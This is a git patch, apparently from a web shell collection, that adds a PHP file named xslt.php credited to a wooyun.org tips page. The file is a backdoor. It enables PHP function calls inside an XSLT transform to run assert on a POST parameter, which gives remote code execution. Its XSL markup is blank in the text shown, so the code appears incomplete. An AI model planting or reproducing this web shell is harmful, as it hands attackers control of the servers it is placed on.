From 6652171538da555b45310ed0c481de9f7e442319 Mon Sep 17 00:00:00 2001 From: tennc Date: Sat, 16 May 2015 11:34:43 +0800 Subject: [PATCH] Create xslt.php from : http://drops.wooyun.org/tips/5799 --- php/xslt.php | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 php/xslt.php diff --git a/php/xslt.php b/php/xslt.php new file mode 100644 index 0000000..dab5d51 --- /dev/null +++ b/php/xslt.php @@ -0,0 +1,15 @@ +assert($_POST[a]);'; +$xsl=' + + + + +'; +$xmldoc = DOMDocument::loadXML($xml); +$xsldoc = DOMDocument::loadXML($xsl); +$proc = new XSLTProcessor(); +$proc->registerPHPFunctions(); +$proc->importStyleSheet($xsldoc); +$proc->transformToXML($xmldoc); +?>